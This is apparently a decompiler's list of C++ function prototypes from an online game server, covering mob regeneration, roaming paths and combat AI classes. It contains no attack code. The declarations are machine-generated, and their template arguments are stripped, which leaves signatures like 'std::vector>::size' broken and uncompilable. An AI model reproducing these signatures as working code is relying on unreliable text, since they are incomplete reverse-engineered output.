ShineObjectClass::ShineBandit::sm_BriefLocateSet(ShineObjectClass::ShineBandit *this); MobDataBox::MobDataBoxIndex *__thiscall ShineObjectClass::ShineMob::sm_InitBriefInfo(int this, __int16 handle, unsigned __int16 mobid, int bandittemplete); void __thiscall ShineObjectClass::ShineBandit::sm_InitBriefInfo(ShineObjectClass::ShineBandit *this, unsigned __int16 handle, unsigned __int16 mobid, PROTO_NC_BRIEFINFO_LOGINCHARACTER_CMD *bandittemplete); void __thiscall KQRegenTable::KQRegenTable(KQRegenTable *this); int __cdecl KQRegenTable::Element::Comp(const void *a, const void *b); void __thiscall FamilyMobManagement::MobSpeciesSlot::mss_Clear(FamilyMobManagement::MobSpeciesSlot *this); unsigned int __thiscall std::vector>::size(std::vector > *this); void __thiscall List::_List(List *this); char __thiscall List::l_PushZ(List *this, #811 *ele); // int __stdcall Concurrency::_Order_node_base::reserve_message(int); weak char __thiscall List::l_PopA(List *this, #811 *ele); char __thiscall List::l_PopZ(List *this, #811 *ele); char __thiscall List::l_4AllInList(List *this, char (__thiscall *func)(AbnormalStateContainer::AbstateElementInObject *this, List *, unsigned __int16)); void __thiscall SafePointer::SafePointer(SafePointer *this); void __thiscall SafePointer::_SafePointer(SafePointer *this); void __cdecl std::fill(FamilyMobManagement::MobSpeciesSlot *_First, FamilyMobManagement::MobSpeciesSlot *_Last, FamilyMobManagement::MobSpeciesSlot *_Val); FieldMap::FM_MarkingError __thiscall ShineObjectClass::ShineEffectObject::so_effect_EffectBlast(ShineObjectClass::ShineEffectObject *this, unsigned __int16 handle, Name3 *map_, #331 *detach, Name8 *idx, unsigned int keeptime_millisec, int scale); FieldMap::FM_MarkingError __thiscall ShineObjectClass::ShineEffectObject::so_effect_EffectBlast(ShineObjectClass::ShineEffectObject *this, unsigned __int16 handle, Name3 *map_, int x, int y, int d, Name8 *idx, unsigned int keeptime_millisec, int scale); void __cdecl ShineObjectClass::ShineObject::so_npc_FromTable(); void __thiscall ShineObjectClass::ShineNPC::so_npc_FromTable(ShineObjectClass::ShineNPC *this); void __thiscall ShineObjectClass::ShineNPC::so_KilledBy(ShineObjectClass::ShineNPC *this, #331 *, int, int, unsigned int); void __thiscall MobRegenClass::MobBreeder::mb_Setregentime(void *this, int sec); void __thiscall MobRegenClass::MobBreederGroup::_MobBreederGroup(MobRegenClass::MobBreederGroup *this); void __thiscall MobRegenClass::MobBreederGroup::mbg_SetRegenLoc(MobRegenClass::MobBreederGroup *this, SHINE_XY_TYPE *loc); char __thiscall MobBreedRegenEnable::lid_Call(MobBreedRegenEnable *this, #811 *, unsigned __int16); char __thiscall MobRegenClass::MobBreederGroup::mbg_RegenLoc(MobRegenClass::MobBreederGroup *this, SHINE_XY_TYPE *loc, int *dir); void __thiscall MobRegenClass::MobBreederGroup::mbg_Set(MobRegenClass::MobBreederGroup *this, ORToken *groupname, Name3 *map_, char fam, MobRegenStruct::RegenRegion *regreg); #811 *__thiscall MobRegenClass::MobBreederGroup::l_AllocA(MobRegenClass::MobBreederGroup *this, unsigned __int16 hnd); #811 *__thiscall MobRegenClass::MobBreederGroup::l_AllocZ(MobRegenClass::MobBreederGroup *this, unsigned __int16 hnd); MobRegenClass::MobBreederGroup *__thiscall MobRegenClass::MobRegenGroupList::l_AllocA(MobRegenClass::MobRegenGroupList *this, unsigned __int16 hnd); MobRegenClass::MobBreederGroup *__thiscall MobRegenClass::MobRegenGroupList::l_AllocZ(MobRegenClass::MobRegenGroupList *this, unsigned __int16 hnd); void __thiscall MobHatchery::_MobHatchery(MobHatchery *this); MobRegenClass::MobBreederGroup *__thiscall MobHatchery::mg_FindBreedGroup(MobHatchery *this, Name3 *map, ORToken groupname); void __thiscall MobRegenClass::MobBreeder::mb_SetLeader(void *this, int a2); void __thiscall ShineObjectClass::ShineMob::sm_SetBrain(void *this); void __thiscall KQRegenTable::_KQRegenTable(KQRegenTable *this); void __thiscall KQRegenTable::kqrt_Load(KQRegenTable *this, char *fname); char __thiscall List::l_PushA(List *this, #811 *ele); // int __stdcall Concurrency::_Order_node_base::reserve_message(int); weak std::mem_fun_ref_t *__cdecl std::for_each>::iterator_std::mem_fun_ref_t>(std::mem_fun_ref_t *result, std::vector >::iterator _First, std::vector >::iterator _Last, std::mem_fun_ref_t _Func); FamilyMobManagement::MobSpeciesSlot *__cdecl std::copy_backward(FamilyMobManagement::MobSpeciesSlot *_First, FamilyMobManagement::MobSpeciesSlot *_Last, FamilyMobManagement::MobSpeciesSlot *_Dest); FamilyMobManagement::MobSpeciesSlot *__cdecl std::copy(FamilyMobManagement::MobSpeciesSlot *_First, FamilyMobManagement::MobSpeciesSlot *_Last, FamilyMobManagement::MobSpeciesSlot *_Dest); void __thiscall List::l_Clear(List *this); int __thiscall MobRegenClass::MobBreeder::mb_regen(_DWORD, _DWORD); // weak char __thiscall MobRegenClass::MobBreederGroup::mbg_SetEnableNextRegen(MobRegenClass::MobBreederGroup *this, char bNextRegen); char __thiscall MobRegenClass::MobBreeder::mb_Set(void *this, int grp, __int16 mobid, int regensec, int regenCount); void __thiscall KQRegenTable::kqrt_Load(KQRegenTable *this); char __thiscall MobRegenClass::MobBreederGroup::mbg_View(MobRegenClass::MobBreederGroup *this, List *lst, unsigned __int16 handle); char __thiscall List::l_PushA(List *this, MobRegenClass::MobBreederGroup *ele); // int __stdcall Concurrency::_Order_node_base::reserve_message(int); weak int __thiscall MobRegenClass::MobBreederGroup::operator_(int this, int a2); char __thiscall List::l_PushZ(List *this, MobRegenClass::MobBreederGroup *ele); // int __stdcall Concurrency::_Order_node_base::reserve_message(int); weak char __thiscall List::l_PopA(List *this, MobRegenClass::MobBreederGroup *ele); char __thiscall List::l_PopZ(List *this, MobRegenClass::MobBreederGroup *ele); void __thiscall List::l_MakeList(List *this, unsigned __int16 size); void __thiscall List::l_Clear(List *this); FamilyMobManagement::MobSpeciesSlot *__cdecl std::_Uninit_copy>::const_iterator_FamilyMobManagement::MobSpeciesSlot___std::allocator>(std::vector >::const_iterator _First, std::vector >::const_iterator _Last, FamilyMobManagement::MobSpeciesSlot *_Dest, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal); void __thiscall MobRegenClass::MobBreederGroup::mbg_ScriptDataStore(MobRegenClass::MobBreederGroup *this, MobRegenStruct::RegenMobStruct *data, ORToken *aitype); void __thiscall MobHatchery::mh_View(MobHatchery *this, #440 *sp); void __thiscall List::l_MakeList(List *this, unsigned __int16 size); void __cdecl std::_Uninit_fill_n>(FamilyMobManagement::MobSpeciesSlot *_First, unsigned int _Count, FamilyMobManagement::MobSpeciesSlot *_Val, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal); void __thiscall MobRegenClass::MobBreederGroup::MobBreederGroup(MobRegenClass::MobBreederGroup *this); void __thiscall MobHatchery::mh_ScriptBreed(MobHatchery *this, Name3 *map_, MobRegenStruct::RegenMobStruct *data, MobRegenStruct::RegenGroupStruct *group, ORToken *aitype); FamilyMobManagement::MobSpeciesSlot *__thiscall std::vector>::_Ucopy(std::allocator *_Al, std::vector >::const_iterator _First, std::vector >::const_iterator _Last, FamilyMobManagement::MobSpeciesSlot *__formal); void __thiscall MobHatchery::MobHatchery(MobHatchery *this); FamilyMobManagement::MobSpeciesSlot *__thiscall std::vector>::_Ufill(std::vector > *this, FamilyMobManagement::MobSpeciesSlot *_Ptr, unsigned int _Count, FamilyMobManagement::MobSpeciesSlot *_Val); void __thiscall std::vector>::_Xlen(std::vector > *this); bool __thiscall std::vector>::_Buy(std::vector > *this, unsigned int _Capacity); void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, const unsigned int *_Val); void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, FamilyMobManagement::MobSpeciesSlot *_Val); void __thiscall std::vector>::vector>(std::vector > *this, std::vector > *_Right); // void __usercall _L167287(int a1); void *__thiscall std::vector>::operator_(void *this, int __formal); void __thiscall std::vector>::resize(std::vector > *this, unsigned int _Newsize, unsigned int _Val); std::vector >::iterator *__thiscall std::vector>::insert(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _Where, FamilyMobManagement::MobSpeciesSlot *_Val); std::vector >::iterator *__cdecl std::remove_copy>::iterator_std::vector>::iterator_FamilyMobManagement::FamilyMob>(std::vector >::iterator *result, std::vector >::iterator _First, std::vector >::iterator _Last, std::vector >::iterator _Dest, FamilyMobManagement::FamilyMob *_Val); FamilyMobManagement::FamilyMob *__cdecl std::_Copy_opt(FamilyMobManagement::FamilyMob *_First, FamilyMobManagement::FamilyMob *_Last, FamilyMobManagement::FamilyMob *_Dest, std::_Nonscalar_ptr_iterator_tag __formal); FamilyMobManagement::FamilyMob *__cdecl std::_Copy_backward_opt(FamilyMobManagement::FamilyMob *_First, FamilyMobManagement::FamilyMob *_Last, FamilyMobManagement::FamilyMob *_Dest, std::_Nonscalar_ptr_iterator_tag __formal); void __thiscall FamilyMobManagement::FamilyMobManager::fmm_Initialize(FamilyMobManagement::FamilyMobManager *this, #811 *leader); bool __thiscall FamilyMobManagement::FamilyMobManager::fmm_Dead(FamilyMobManagement::FamilyMobManager *this, #811 *, unsigned __int16); void __thiscall std::vector>::push_back(std::vector > *this, FamilyMobManagement::MobSpeciesSlot *_Val); std::vector >::iterator *__cdecl std::remove>::iterator_FamilyMobManagement::FamilyMob>(std::vector >::iterator *result, std::vector >::iterator _First, std::vector >::iterator _Last, FamilyMobManagement::FamilyMob *_Val); void __cdecl std::fill(FamilyMobManagement::FamilyMob *_First, FamilyMobManagement::FamilyMob *_Last, FamilyMobManagement::FamilyMob *_Val); int __thiscall ShineObjectClass::ShineMob::so_mob_Regenerate(void *this, int map_, int x, int y, signed int dir, int handle, int mobid, int bandittemplete, int regnum, int a10, int a11, int lev, char blockdata); FieldMap::FM_MarkingError __thiscall ShineObjectClass::ShineServant::so_mob_Regenerate(ShineObjectClass::ShineServant *this, Name3 *map_, int x, int y, int dir, unsigned __int16 handle, unsigned __int16 mobid, PROTO_NC_BRIEFINFO_LOGINCHARACTER_CMD *bandittemplete, unsigned int regnum, #331 *leadermob, #811 *breeder, int lev, char blockdata); FieldMap::FM_MarkingError __thiscall ShineObjectClass::ShineNPC::so_mob_Regenerate(ShineObjectClass::ShineNPC *this, Name3 *_map, int x, int y, int dir, unsigned __int16 handle, unsigned __int16 mobid, PROTO_NC_BRIEFINFO_LOGINCHARACTER_CMD *bandittemplete, unsigned int regnum, #331 *leadermob, #811 *breeder, int lev, char blockdata); char __thiscall MobRegenClass::MobBreederGroup::mbg_Routine(MobRegenClass::MobBreederGroup *this, List *lst, unsigned __int16 handle); FamilyMobManagement::FamilyMob *__cdecl std::_Uninit_copy>(FamilyMobManagement::FamilyMob *_First, FamilyMobManagement::FamilyMob *_Last, FamilyMobManagement::FamilyMob *_Dest, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal); void __thiscall EventMobRegen::erb_happen(EventMobRegen *this); void __cdecl std::_Uninit_fill_n>(FamilyMobManagement::FamilyMob *_First, unsigned int _Count, FamilyMobManagement::FamilyMob *_Val, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal); void __thiscall std::vector>::_Tidy(std::vector > *this); FamilyMobManagement::FamilyMob *__thiscall std::vector>::_Ufill(std::vector > *this, FamilyMobManagement::FamilyMob *_Ptr, unsigned int _Count, FamilyMobManagement::FamilyMob *_Val); void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, FamilyMobManagement::FamilyMob *_Val); std::vector >::iterator *__thiscall std::vector>::erase(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _First, std::vector >::iterator _Last); std::vector >::iterator *__thiscall std::vector>::insert(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _Where, FamilyMobManagement::FamilyMob *_Val); void __thiscall FamilyMobManagement::FamilyMobManager::fmm_Remove(FamilyMobManagement::FamilyMobManager *this, #811 *me); void __thiscall std::vector>::push_back(std::vector > *this, FamilyMobManagement::FamilyMob *_Val); char __thiscall MobRegenClass::MobBreederGroup::l_Free(MobRegenClass::MobBreederGroup *this, unsigned __int16 hnd); void __thiscall FamilyMobManagement::FamilyMobManager::fmm_Regist(FamilyMobManagement::FamilyMobManager *this, #811 *, unsigned __int16, int); char __thiscall MobRegenClass::MobBreederGroup::mbg_StoreData(MobRegenClass::MobBreederGroup *this, List *lst, unsigned __int16 handle); int __thiscall MobRegenClass::MobBreeder::mb_MobBreed(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD); // weak void __thiscall MobHatchery::mh_Load(MobHatchery *this, Name4 *world, Name3 *map_); #811 *__thiscall MobRegenClass::MobBreederGroup::mbg_MobBreed(MobRegenClass::MobBreederGroup *this, Name3 *map_, SHINE_XY_TYPE *xy, int dir, unsigned __int16 mobid, char *itemindex, int mobnumber, int regensec, char family, int regennum, ORToken *aitype, PROTO_NC_BRIEFINFO_LOGINCHARACTER_CMD *bandittemplete, char *droparea, unsigned __int16 dropmobid, int lev); #811 *__thiscall MobHatchery::mh_MobBreed(MobHatchery *this, Name3 *map_, SHINE_XY_TYPE *xy, int dir, unsigned __int16 mobid, char *itemindex, int mobnumber, int regensec, char family, int regennum, ORToken *aitype, PROTO_NC_BRIEFINFO_LOGINCHARACTER_CMD *bandittemplete, char *droparea, unsigned __int16 dropmobid, int lev); void __thiscall HuntLog::MobHuntElement::mhe_Send2Log(HuntLog::MobHuntElement *this, #440 *sp); char __thiscall ListSearchSame::lid_Call(ListSearchSame *this, AbnormalStateContainer::AbstateElementInObject *ele, unsigned __int16 handle); void __thiscall HuntLog::MobHuntLog::mhl_SendAll2Log(HuntLog::MobHuntLog *this, #440 *sp); HuntLog::MobHuntElement *__thiscall List::l_Search(List *this, int (__thiscall *compfunc)(HuntLog::MobHuntElement *this, List *, unsigned __int16, HuntLog::MobHuntElement *), unsigned __int16 *hnd, HuntLog::MobHuntElement *key); void __thiscall List::l_MakeList(List *this, unsigned __int16 size); void __thiscall HuntLog::MobHuntLog::mhl_Logging(HuntLog::MobHuntLog *this, #440 *, unsigned __int16, unsigned int); void __thiscall CommonList::CommonList(CommonList *this, int size); void __thiscall HuntLog::MobHuntLog::MobHuntLog(HuntLog::MobHuntLog *this); bool __thiscall MobRoaming::MobRoamingPath::operator<(MobRoaming::MobRoamingPath *this, MobRoaming::MobRoamingPath *rpth); void __thiscall MobRoamingPoint::mrp_Start(MobRoamingPoint *this); int __thiscall ShineObjectClass::ShineMob::so_mob_RoamingPathGet(int this); char __thiscall ShineObjectClass::ShineMob::som_IsAttackedDuringRoaming(int this); unsigned int __thiscall std::vector>::size(std::vector > *this); std::_Tree_nod,std::allocator,0> >::_Node *__cdecl std::_Tree_std::allocator_0>>::_Max(std::_Tree_nod,std::allocator,0> >::_Node *_Pnode); void __cdecl std::fill(MobRoaming::PathElement *_First, MobRoaming::PathElement *_Last, MobRoaming::PathElement *_Val); void __thiscall ShineObjectClass::ShineMob::so_mob_RoamingPathSet(void *this, int roaming); std::_Tree_nod,std::allocator,0> >::_Node *__thiscall std::_Tree_std::allocator_0>>::_Lbound(std::_Tree,std::allocator,0> > *this, MobRoaming::MobRoamingPath *_Keyval); void __thiscall std::_Tree_std::allocator_0>>::_Lrotate(std::_Tree,std::allocator,0> > *this, std::_Tree_nod,std::allocator,0> >::_Node *_Wherenode); void __thiscall std::_Tree_std::allocator_0>>::_Rrotate(std::_Tree,std::allocator,0> > *this, std::_Tree_nod,std::allocator,0> >::_Node *_Wherenode); void __thiscall std::_Tree_std::allocator_0>>::const_iterator::_Dec(std::_Tree,std::allocator,0> >::const_iterator *this); MobRoaming::PathElement *__cdecl std::copy_backward(MobRoaming::PathElement *_First, MobRoaming::PathElement *_Last, MobRoaming::PathElement *_Dest); std::_Tree_nod,std::allocator,0> >::_Node *__thiscall std::_Tree_std::allocator_0>>::_Buynode(std::_Tree,std::allocator,0> > *this); void __cdecl std::_Uninit_fill_n>(MobRoaming::PathElement *_First, unsigned int _Count, MobRoaming::PathElement *_Val, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal); std::list,std::allocator > >::iterator *__cdecl std::_Uninit_copy>::const_iterator_GUILD_TOURNAMENT_LVGAP_const_____std::allocator>(std::list,std::allocator > >::iterator *_First, std::list,std::allocator > >::iterator *_Last, std::list,std::allocator > >::iterator *_Dest, std::allocator,std::allocator > >::iterator> *_Al, std::_Nonscalar_ptr_iterator_tag __formal); MobRoaming::PathElement *__cdecl std::_Uninit_copy>::const_iterator_MobRoaming::PathElement___std::allocator>(std::vector >::const_iterator _First, std::vector >::const_iterator _Last, MobRoaming::PathElement *_Dest, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal); void __thiscall MobRoaming::MobRoamingPath::mrp_RegenLoc(MobRoaming::MobRoamingPath *this, SHINE_XY_TYPE *loc); void __thiscall MobRoamingPoint::mrp_Next(MobRoamingPoint *this, MobRoaming::MobRoamingPath *roaming); char __thiscall ShineObjectClass::ShineMob::sm_NextPathPoint(void *this, int *a2, int dy, int distance); void __thiscall ShineObjectClass::ShineMob::smo_RegenSpotAsNextRoamingSpot(int this); std::_Tree,std::allocator,0> >::iterator *__thiscall std::_Tree_std::allocator_0>>::find(std::_Tree,std::allocator,0> > *this, std::_Tree,std::allocator,0> >::iterator *result, MobRoaming::MobRoamingPath *_Keyval); MobRoaming::PathElement *__thiscall std::vector>::_Ufill(std::vector > *this, MobRoaming::PathElement *_Ptr, unsigned int _Count, MobRoaming::PathElement *_Val); void __thiscall std::vector>::_Xlen(std::vector > *this); void __thiscall std::vector>::reserve(std::vector > *this, unsigned int _Count); // void __usercall _L151336(int a1); void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, MobRoaming::PathElement *_Val); void __thiscall std::vector>::vector>(std::vector > *this, std::vector > *_Right); // void __usercall _L151874(int a1); void __thiscall std::_Tree_nod_std::allocator_0>>::_Node::__Node(std::_Tree_nod,std::allocator,0> >::_Node *this); std::vector >::iterator *__thiscall std::vector>::insert(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _Where, MobRoaming::PathElement *_Val); void __thiscall MobRoaming::MobsInRoaming::MobsInRoaming(MobRoaming::MobsInRoaming *this); void __thiscall MobRoaming::MobsInRoaming::mir_MoveInfoSendTo(MobRoaming::MobsInRoaming *this, #440 *sp); void __thiscall MobRoaming::MobRoamingPath::MobRoamingPath(MobRoaming::MobRoamingPath *this, ORToken *groupname); MobRoaming::MobRoamingPath *__thiscall MobRoaming::MobRoamingSet::mrs_Get(MobRoaming::MobRoamingSet *this, ORToken *groupname); void __thiscall std::vector>::push_back(std::vector > *this, MobRoaming::PathElement *_Val); void __thiscall std::_Tree_nod_std::allocator_0>>::_Node::_Node(std::_Tree_nod,std::allocator,0> >::_Node *this, std::_Tree_nod,std::allocator,0> >::_Node *_Larg, std::_Tree_nod,std::allocator,0> >::_Node *_Parg, std::_Tree_nod,std::allocator,0> >::_Node *_Rarg, MobRoaming::MobRoamingPath *_Val, char _Carg); std::_Tree_nod,std::allocator,0> >::_Node *__thiscall std::_Tree_std::allocator_0>>::_Buynode(std::_Tree,std::allocator,0> > *this, std::_Tree_nod,std::allocator,0> >::_Node *_Larg, std::_Tree_nod,std::allocator,0> >::_Node *_Parg, std::_Tree_nod,std::allocator,0> >::_Node *_Rarg, MobRoaming::MobRoamingPath *_Val, char _Carg); std::_Tree,std::allocator,0> >::iterator *__thiscall std::_Tree_std::allocator_0>>::_Insert(std::_Tree,std::allocator,0> > *this, std::_Tree,std::allocator,0> >::iterator *result, bool _Addleft, std::_Tree_nod,std::allocator,0> >::_Node *_Wherenode, MobRoaming::MobRoamingPath *_Val); std::_Tree,std::allocator,0> >::iterator *__thiscall std::_Tree_std::allocator_0>>::erase(std::_Tree,std::allocator,0> > *this, std::_Tree,std::allocator,0> >::iterator *result, std::_Tree,std::allocator,0> >::iterator _Where); void __thiscall std::_Tree_std::allocator_0>>::_Erase(std::_Tree,std::allocator,0> > *this, std::_Tree_nod,std::allocator,0> >::_Node *_Rootnode); std::pair,std::allocator,0> >::iterator,bool> *__thiscall std::_Tree_std::allocator_0>>::insert(std::_Tree,std::allocator,0> > *this, std::pair,std::allocator,0> >::iterator,bool> *result, MobRoaming::MobRoamingPath *_Val); MobRoaming::MobRoamingPath *__thiscall MobRoaming::MobRoamingSet::mrs_Load(MobRoaming::MobRoamingSet *this, Name4 *world, ORToken *groupname); std::_Tree,std::allocator,0> >::iterator *__thiscall std::_Tree_std::allocator_0>>::erase(std::_Tree,std::allocator,0> > *this, std::_Tree,std::allocator,0> >::iterator *result, std::_Tree,std::allocator,0> >::iterator _First, std::_Tree,std::allocator,0> >::iterator _Last); void __thiscall MobRoaming::MobRoamingSet::mrs_Load(MobRoaming::MobRoamingSet *this, Name4 *world); void __thiscall MobRoaming::MobRoamingSet::_MobRoamingSet(MobRoaming::MobRoamingSet *this); void __thiscall MobRoaming::MobRoamingSet::MobRoamingSet(MobRoaming::MobRoamingSet *this); #331 *__thiscall MobTargetSelector::mts_TargetObject(MobTargetSelector *this); unsigned int __thiscall ShineObjectClass::ShineMob::sm_GetWeaponCastTime(int this); void __thiscall ShineObjectClass::ShineMob::sm_SetTarget(int this, __int16 targethandle); MobTacticElement::MobActionBase *__thiscall MobTacticElement::MobActionNeededTarget::mant_SetTarget(MobTacticElement::MobActionNeededTarget *this, #331 *target); MobTacticElement::MobActionBase *__thiscall MobTacticElement::MobActionInChase::maic_SetReserv(MobTacticElement::MobActionInChase *this, #331 *, MobTacticElement::MobActionBase *, MobTacticElement::MobActionBase *); MobTacticElement::MobActionBase *__thiscall MobTacticElement::MobActionTurning::mat_Reserv(MobTacticElement::MobActionTurning *this, MobTacticElement::MobActionBase *nxt, #748 *me, #331 *target); unsigned __int16 __thiscall MobTacticElement::MobActionNeededTarget::mab_GetTargetHandle(MobTacticElement::MobActionNeededTarget *this); #331 *__thiscall MobTacticElement::MobActionNeededTarget::mab_GetTargetObject(MobTacticElement::MobActionNeededTarget *this); void __thiscall MobTacticElement::MobActionInMove::MobActionInMove(MobTacticElement::MobActionInMove *this); void __thiscall MobTacticElement::DuringReturn2Regen::DuringReturn2Regen(MobTacticElement::DuringReturn2Regen *this); void __thiscall MobTacticElement::MobActionInChase::MobActionInChase(MobTacticElement::MobActionInChase *this); void __thiscall MobTacticElement::MobActionInMove_Cancelable::MobActionInMove_Cancelable(MobTacticElement::MobActionInMove_Cancelable *this); void __thiscall MobTacticElement::MobActionWander::MobActionWander(MobTacticElement::MobActionWander *this); void __thiscall MobTacticElement::MobActionWander::_MobActionWander(MobTacticElement::MobActionWander *this); void __thiscall MobTacticElement::MobActionTargetting::MobActionTargetting(MobTacticElement::MobActionTargetting *this); void __thiscall MobTacticElement::MobActionTurning::MobActionTurning(MobTacticElement::MobActionTurning *this); void __thiscall MobTacticElement::MobActionAttack::MobActionAttack(MobTacticElement::MobActionAttack *this); void __thiscall MobTacticElement::MobActionChase::MobActionChase(MobTacticElement::MobActionChase *this); void __thiscall MobTacticElement::MobAction2Region::MobAction2Region(MobTacticElement::MobAction2Region *this); void __thiscall MobTacticElement::MobActionBackStep::MobActionBackStep(MobTacticElement::MobActionBackStep *this); void __thiscall MobTacticElement::MobActionAvoidOverlap::MobActionAvoidOverlap(MobTacticElement::MobActionAvoidOverlap *this); void __thiscall MobTacticElement::MobActionWaitSkillEnd::MobActionWaitSkillEnd(MobTacticElement::MobActionWaitSkillEnd *this); void __thiscall MobTacticElement::MobActionSwingDamage::MobActionSwingDamage(MobTacticElement::MobActionSwingDamage *this); void __thiscall MobTacticElement::MobActionRoaming::MobActionRoaming(MobTacticElement::MobActionRoaming *this); void __thiscall MobTacticElement::MobActionNoBrain::MobActionNoBrain(MobTacticElement::MobActionNoBrain *this); void __thiscall MobTacticElement::MobActionNoBrain::_MobActionNoBrain(MobTacticElement::MobActionNoBrain *this); void __thiscall MobTacticElement::MobActionWander::mab_Damaged(MobTacticElement::MobActionWander *this, MobTacticElement::MobActionArgument *argument); MobTacticElement::MobActionBase *__thiscall MobTacticElement::MobActionBase::mab_TargetChange(MobTacticElement::MobActionBase *this, MobTacticElement::MobActionArgument *argument); void __thiscall ShineObjectClass::ShineMob::sm_NextAttackSequence(int this); void __thiscall MobTacticElement::MobActionArgument::Actor::SetTargetPoint(MobTacticElement::MobActionArgument::Actor *this, #331 **ppTargetObject); unsigned int __thiscall std::vector>::size(std::vector > *this); TickTimer *__cdecl std::_Copy_backward_opt(TickTimer *_First, TickTimer *_Last, TickTimer *_Dest, std::_Nonscalar_ptr_iterator_tag __formal); void __thiscall MobTacticElement::MobActionBase::mab_WalkTo(MobTacticElement::MobActionBase *this, #748 *, SHINE_XY_TYPE *); MobTacticElement::MobActionBase *__thiscall MobTacticElement::MobActionBase::mab_Think(MobTacticElement::MobActionBase *this, MobTacticElement::MobActionArgument *argument); MobTacticElement::MobActionBase *__thiscall MobTacticElement::MobActionInChase::mab_Think(MobTacticElement::MobActionInChase *this, MobTacticElement::MobActionArgument *argument); MobTacticElement::MobActionBase *__thiscall MobTacticElement::MobActionInMove::mab_Think(MobTacticElement::MobActionInMove *this, MobTacticElement::MobActionArgument *argument); MobTacticElement::MobActionBase *__thiscall MobTacticElement::DuringReturn2Regen::mab_Think(MobTacticElement::DuringReturn2Regen *this, MobTacticElement::MobActionArgument *argument); MobTacticElement::MobActionBase *__thiscall MobTacticElement::MobActionWaitSkillEnd::mab_Think(MobTacticElement::MobActionWaitSkillEnd *this, MobTacticElement::MobActionArgument *argument); MobTacticElement::MobActionBase *__thiscall MobTacticElement::MobActionWander::maw_MetronomeReset(MobTacticElement::MobActionWander *this); MobTacticElement::MobActionBase *__thiscall MobTacticElement::MobActionWaitSkillEnd::mawse_SetNextAction(MobTacticElement::MobActionWaitSkillEnd *this, unsigned int endofskill, MobTacticElement::MobActionBase *next, #331 *target); MobTacticElement::MobActionBase *__thiscall MobTacticElement::MobActionSwingDamage::masd_SetDelay(MobTacticElement::MobActionSwingDamage *this, int delay, MobTacticElement::MobActionBase *next, #331 *target); void __thiscall MobTacticElement::MobActionBase::mab_RunTo(MobTacticElement::MobActionBase *this, #748 *, SHINE_XY_TYPE *); MobTacticElement::MobActionBase *__thiscall MobTacticElement::MobActionTargetting::mab_Think(MobTacticElement::MobActionTargetting *this, MobTacticElement::MobActionArgument *argument); MobTacticElement::MobActionBase *__thiscall MobTacticElement::MobActionTurning::mab_Think(MobTacticElement::MobActionTurning *this, MobTacticElement::MobActionArgument *argument); MobTacticElement::MobActionBase *__thiscall MobTacticElement::MobActionAttack::mab_CaptivatePlayerAttack(MobTacticElement::MobActionAttack *this, MobTacticElement::MobActionArgument *argument); MobTacticElement::MobActionBase *__thiscall MobTacticElement::MobAction2Region::mab_Think(MobTacticElement::MobAction2Region *this, MobTacticElement::MobActionArgument *argument); MobTacticElement::MobActionBase *__thiscall MobTacticElement::MobActionBackStep::mab_Think(MobTacticElement::MobActionBackStep *this, MobTacticElement::MobActionArgument *argument); MobTacticElement::MobActionBase *__thiscall MobTacticElement::MobActionAvoidOverlap::mab_Think(MobTacticElement::MobActionAvoidOverlap *this, MobTacticElement::MobActionArgument *argument); MobTacticElement::MobActionBase *__thiscall MobTacticElement::MobActionSwingDamage::mab_Think(MobTacticElement::MobActionSwingDamage *this, MobTacticElement::MobActionArgument *argument); MobTacticElement::MobActionBase *__thiscall MobTacticElement::MobActionBase::mab_RandomDirectWalk(MobTacticElement::MobActionBase *this, #748 *, int, MobTacticElement::MobActionBase *, MobTacticElement::MobActionBase *, MobTacticElement::MobActionArgument *); char __thiscall ShineObjectClass::ShineMob::sm_SkillExchange_OutOfRange(void *this); char __thiscall ShineObjectClass::ShineMob::sm_SkillExchange_HPLow(void *this); char __thiscall ShineObjectClass::ShineMob::sm_SkillExchange_TargetState(void *this, int a2); TickTimer *__cdecl std::_Uninit_copy>::iterator_Navigator::NaviPoint___std::allocator>(TickTimer *_First, TickTimer *_Last, TickTimer *_Dest, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal); MobTacticElement::MobActionBase *__thiscall MobTacticElement::MobActionWander::mab_Think(MobTacticElement::MobActionWander *this, MobTacticElement::MobActionArgument *argument); MobTacticElement::MobActionBase *__thiscall MobTacticElement::MobActionAttack::mab_Think(MobTacticElement::MobActionAttack *this, MobTacticElement::MobActionArgument *argument); MobTacticElement::MobActionBase *__thiscall MobTacticElement::MobActionRoaming::mab_Think(MobTacticElement::MobActionRoaming *this, MobTacticElement::MobActionArgument *argument); TickTimer *__thiscall std::vector>::_Ucopy(std::allocator *_Al, TickTimer *_First, TickTimer *_Last, TickTimer *__formal); void __thiscall std::vector>::_Destroy(std::vector > *this, Navigator::NaviPoint *_First, Navigator::NaviPoint *_Last); void __thiscall std::vector>::_Tidy(std::vector > *this); std::vector >::iterator *__thiscall std::vector>::erase(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _First, std::vector >::iterator _Last); void __thiscall StaticVector::_StaticVector(StaticVector *this); void __thiscall std::vector>::_Xlen(std::vector > *this); void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, Navigator::NaviPoint *_Val); void __thiscall std::vector>::reserve(std::vector > *this, unsigned int _Count); // void __usercall _L164561(int a1); void __thiscall std::vector>::reserve(std::vector > *this, unsigned int _Count); // void __usercall _L164681(int a1); void __thiscall std::vector>::resize(std::vector > *this, unsigned int _Newsize, Navigator::NaviPoint _Val); bool __thiscall std::vector>::_Buy(std::vector > *this, unsigned int _Capacity); void 